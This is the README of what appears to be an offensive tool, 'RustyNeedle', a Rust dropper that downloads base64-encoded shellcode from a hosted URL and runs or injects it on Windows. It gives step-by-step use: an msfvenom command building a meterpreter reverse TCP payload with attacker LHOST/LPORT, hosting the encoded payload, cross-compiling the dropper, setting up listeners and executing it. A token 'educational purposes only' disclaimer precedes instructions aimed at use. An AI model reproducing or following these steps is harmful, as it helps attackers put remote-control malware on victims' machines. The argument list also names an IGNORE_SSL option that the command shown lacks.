RustyNeedle

THIS CODE IS FOR EDUCATIONAL PURPOSES ONLY. I take no responsibility if you decide to do crimes with this code.

A simple dropper for shellcode that leverages the power of...base64 encoding??

No seriously. And it works. Here's how:

Usage

1. Create your shellcode however you like, be it with msfvenom or other tools. Export the raw shellcode file.

2. Use the encode.py script provided in this repository to create an encoded version of the shellcode.

python3 encode.py [SHELLCODE_FILE] [B64_ITERATIONS] [OUT_FILE]

Arguments

• SHELLCODE_FILE: raw shellcode file to encode
• B64_ITERATIONS: # of times to base64-encode the shellcode
• OUT_FILE: Resulting text file of the encoded shellcode. NOTE: this will be many times larger than the source!
• IGNORE_SSL: Ignores SSL/TLS errors.

Alternative usage

If you don't want to use the script, you can also encode raw shellcode from msfvenom. It would go something like this:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw | base64 -w 0 > note.txt
# Pipe to base64 -w 0 as many times as you want to iterate the encoding

3. Edit the source code in src/main.rs to reflect the URL where the encoded shellcode will be hosted. Make sure B64_TTERATIONS matches what you created with encode.py. If you wish to use remote injection, change the PROCESS_NAME value as well.

4. Run cargo build --target x86_64-pc-windows-gnu --release. If building on Linux for Windows, make sure you've added the Windows target triple with rustup target add x86_64-pc-windows-gnu.

5. Copy the resulting exe in target/x86_64-pc-windows-gnu/release/rustyneedle.exe wherever you like.

6. Set up any listeners, then execute the dropper!